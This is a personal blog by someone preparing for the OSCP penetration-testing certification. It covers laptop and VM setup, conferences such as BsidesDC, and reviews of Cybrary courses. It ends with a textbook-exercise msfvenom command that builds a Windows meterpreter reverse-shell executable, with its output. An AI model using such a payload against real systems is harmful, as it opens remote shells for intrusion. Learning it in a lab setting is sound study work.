Finally landed on the Surface Laptop 2

Well, the Matebook X Pro didn’t fair well to a dual boot with Kali and Windows.   I think it had something to do with the weird 3000×2000 resolution and the fact that grub couldn’t understand that to boot into an installer for Kali.  I tried working on different grub commands, but eh, I did so much that I couldn’t get the machine to boot back into the original install.

So I took it back to the store and decided VM only – no dual booting.  I mean, OSCP is set up to work within a VM, all my practice books are with VMs.  So VM it is – and I need a good supported VM app, so Windows with VMWare Workstation was the way to go.  I also wanted a laptop that will last, so I put up the extra cash for the new Surface Laptop 2.  I am happy so far.  I do wish it has a USB-C as the MXP did, but it wasn’t a deal breaker.  Back to studying!

Happy Monday!

Currently listening to Desi, waiting for my new USB stick to finish a slow format.  So I have been using my wife’s computer to start prepping for the OSCP, and I have to say, that was a bad idea.  I have a mac, but trying to create my own virtual lab in there has been rough.  I used VirtualBox to do this, but VMWare workstation on a windows machine just seems to get the job done right.

So, my first thought was to go with a souped-up Chromebook.  I went ahead and got the i7 Pixelbook.  Nice looking machine, and yes, I think ChromeOS is nice – but I wanted to run Linux off of it.  So I went two different routes on this, and both didn’t work like I needed it to.

Route 1:  I changed my channel to the developer channel and just used the crostini linux that google offered from this channel.  It wasn’t a full blown linux like I needed.  So scratch that.

Route 2: I put the Pixelbook in developer mode, and ran chroots of linux.  After some crazy finagling, I got kali-rolling on a xfce desktop.  But, still limited – for example, I couldn’t do any networking – this was just a virtual container running on ChromeOS.

I didn’t try wiping the OS and just installing a linux on metal.  Mainly because I was afraid that doing that would lock me into not being able to return the machine.  After not being able to successfully do either of the above routes, I put the machine back on the stable channel, main mode, and powerwash.

I haven’t gotten my $ back (it’s still in the mail), but I need a machine that is not my wife’s.  Some googling commenced, and I settled on a Matebook X Pro (MXP).  I think it’s the best bang for your buck.  I almost bought a Surface Book 2, but it was clunky, and $1K more.  I don’t really need a 2-in-1.  The only thing about the MXP is the resolution is a bit wack.  It works, but it’s like 3000×2000 – and then you have to increase the font size.  So far, ok, but some of my older Vms (windows 7, XP, Ubuntu) are hard to see/really small.  But the ports, the size, and the power of the computer I really like.  I am a bit concerned about the build – Chinese products sometimes don’t last as long, and I am hoping this will take me 5 years out.  But I hope that I am done with my OSCP at that time, and might be time for a new PC, based on what I learned.

I am going to set up a dual boot on Kali and Windows.  The drive is a 512MB SSD and so far, all is well, except for the heat – the computer does come with a 1 year warranty, so I am going to lean on that if something doesn’t go well.

Greetings from Cambridge.

I am writing to you from Cambridge – my sister in law is a freshman here at Harvard, and it’s parent’s weekend.  Here’s a pic of her and my daughter 🙂  I had an opportunity to step into CS 50, which is the largest core computer science class that Harvard has to offer.  It was awesome.  The teacher was animated, clear, and descriptive.   I want to come to Harvard and get at CS degree now!

Here, they are introducing databases.  The one thing I love about Harvard is the inspiration it brings – which leads me to my Bsides event, which was awesome.  I learned a lot from the CTF, and I need to learn more.

I got to the game late, so I didn’t understand the team’s strategy.  Hell,  I didn’t even understand the board.  But a few reddit posts later, I think I am good to go for my next one.  I think I am going to play some CTFs online.

Oh, and work approved my OSCP tuition – so its on.

My first Pros Vs. Joes!

So BsidesDC is this weekend, and honestly, I am really not sure why the ham sandwich I haven’t been to the conference all these years.  I am really trying to focus on getting back into the technical realm, and conferences like this have some great presentations, speakers, and just interesting people – so yah, I am going.  It’s gonna be f&*#@ fantastic.  And then, just today, I got invited by @malwaremama to participate in @dichotomy1‘s ProsVsJoes event.  Hell’s bells son.  Better firm up those whitelists and start closing down unnecessary ports, it’s gonna get crazy.  Here’s my checklist:

For now, a bit of reading, and a good time will be had by all 🙂


Back to the basics

I submitted my request to my work to cover the PWK course to help me get my OSCP.  I haven’t heard back yet, and I think that is a good thing – I need to read and study more.   I am back into Georgia’s Book – chapter 6.  I feel like a kid getting ready to try to climb a mountain using hills as practice.  But the hills are good – there is just a lot to learn.  Back at it!

Getting Swamped!

You know when you have so much information, you don’t know where to start, so you just don’t?  That is where I am at the current moment.  It’s good, but it’s been 2 weeks, and I really haven’t made progress on Georgia’s book.  Today, I will work on it.  That is until I get the OSCP material!

I have been doing a few things other than studying – but it’s been good.  I have been:

  1. attending the first CSA-DC chapter meeting.  I met Anil, the host and founder of the chapter at a Federal Cloud Summit in DC.  I really enjoyed it and will go back for their next meetup in January.  But I met Martin there!  He’s a pentester AND he is from Argentina.   That’s awesome – we met up later again to talk about how to get into pentesting and Argentina, which my family and I are vacationing to in February of next year.
  2. Attended the 2018 Cyber Maryland conference.  I really had a good time.  Some jerk talked my ear off about how idiotic I am for being a federal employee and how he’s racist inherently because he’s white.  Just some random stranger.  We live in some odd times, folks.  But after that, it was awesome!  There were three presentations that stood out to me:
    1. One on Snowden and Quantum Computing.  It solidified my thoughts on Snowden – he’s a traitor and really F*&#$ up our national security.  99% of what he leaked isn’t even about privacy.  It was national secrets, folks.  You’re welcome, Russia.  I also really enjoyed the discussion on Quantum Computing.
    2. Synthetic Identities on the Dark Web.  I never knew how susceptible kids are to identity fraud so easily.  Freeze your Kids credit, folks.
    3. Election Security.  We need to go to paper ballots.  But we are idiots and apparently, West Virginia is going to use blockchain to have votes counted.  Mobile Voting in the 2018 elections.  It’s a horrible idea.

      I met Amber there!  Totally awesome person – she told me about some things that she is working on and I really hope to stay in touch.

  3. Decided through Martin and my wife that I am going to just start studying for the OSCP.  I have been waffling around books and thinking about getting my Pentest+ (which is so new, no one knows if it’s good), or retake the CEH… Inna stated that if she is going to give me the time to study, just go for the one that matters – and Martin, he thinks the same thing.  The test with 3 months of the lab is $1,150.00.  That, in hindsight, is nothing, and if I fail, it’s only 60 bucks for a retake.   So, I am going to make a case to my boss about taking it, and if that doesn’t work, I’ll just pay for it out of pocket.  Work is slowing down for the holidays – I am going for it.  I am going to #tryharder 🙂

tldr; I did some stuff, made some friends, F&$%# it, I am going straight for my OSCP.

Cybrary is down yet again

Well, cybrary is down again this week.   This isn’t the first time that this happened to me.  There has been another outage to my premium content for a week.  They fixed it and gave me 7 days to tack on, but it’s a bit nutty how buggy cybrary can be.  Also, I took a beginner network certification test, and the answers/questions weren’t all right.  I told Cybrary, and they said that all the tests are going an audit.  Hm.

I am going to wait out the time that cybrary is down and go back to Georgia’s book.  Chapter 5 is about information gathering and talking to a Pen Tester last week, it’s still a solid book.

The root of the problem is the lack of time that I am spending on this.  I need to start ratcheting up my time on this.  I am contemplating taking CompTIA’s PenTest+ certification as a starter to OSCP.  There is the AIO book to add to my repertoire that is coming out on Oct 22 on PenTest+.  I think I am going to get it.  Till then, I am focusing on just moving around and adding some tech notes here.

Initial Thoughts on Cybrary

I am a couple days into Cybrary, and here are my initial reactions:


  • No need to set up the Labs.  They are all configured for you and all you have to do is start writing commands
  • Mentors!  I have set up times to start talking to some people who know about the field.  I start my first session with a mentor today
  • On a path for actual certifications.  The Penetration Tester Track prepares me for the:
    • Security+ (most likely not going to do since I have my CISSP)
    • E-Council CEH (I have v.7 of this one already, but I might retake it since my original go at it is a pitiful story)
    • CompTIA CySA+ (definitely thinking about this one, but there is a tangent PenTest+ cert – not sure why Cybrary has me going for the analyst cert in the Pen Testing Curriculum.  Something to ask the mentors)
    • CompTIA CASP (for sure this one.  I think this one is the CompTIA advanced cert.  Also, I need five years of hands-on experience and I am not sure if I qualify there at the moment.  Another question for the mentors)


  • No need to set up the Labs. They are all configured for you and all you have to do is start writing commands.  This leads to not learning how to set up your own environment, troubleshooting, etc.
  • It’s aggravating that when I complete a Lab, it doesn’t mark it as complete as it should.  I have asked about this, and they say it’s a small bug/glitch.  I hope it can be fixed.  It’s irritating and makes it hard to track my progress – for myself and Cybrary.
  • Money – it’s a little less than $100/month.  BUT, if it lands me in a Pen Testing position, I am game.  This is something to talk to my mentors again on… how to enter the Pen Testing field without just dropping my current career in policy until I can ramp up Pen Testing.  This is a long way from now it feels like, so yeah.  Oh, and SecureSet, well, they are $20K which is hefty and their career counselor has flaked out on me.

So TL;DR, the Pros outweigh the cons.  But, to continue with my own pursuit of spinning up my own lab, I am going to continue with Georgia Weidman’s book on Penetration Testing.   I think there are things to be learned from both approaches.

Moving on to Cybrary

As I move through Georgia Weidman’s book, Penetration Testing: A Hands-On Introduction to Hacking, it is for one, has moved in a direction that, while good, doesn’t quite do a gradual build that I was hoping, and two, many of the apps and commands just don’t work anymore.  They have either been retired or replaced.

I have been eyeing the Cybrary Pro series for quite some time.  When they were offering 20% off, I thought I would take the plunge.  It’s $79.00/month, and I get a mentor and a structure – the labs should be a bit more up to date as well.  Of course, I am taking the penetration testing courses.

I was eyeing SecureSet for a while, but their price tag was high.  Like $20K high.  I think this is for people fresh out of school – it would be great to have that hand on class interaction, but I just simply can’t afford it.  Plus, I have been trying to get them to get a hold of me to talk about classes/courses, and they haven’t.  So the door seems to be closing on that one.

So, Kids, it’s onto Cybrary.


msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT=12345 -f exe > chapter4example.exe

…That’s not working either.  The output I am getting is:

[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload

No encoder or badchars specified, outputting raw payload
Payload size: 341 bytes Final size of exe file: 73802 bytes

I think I am going to keep on going….. and it looks like the multi/handler module isn’t working either.  I’ll come back to this as well.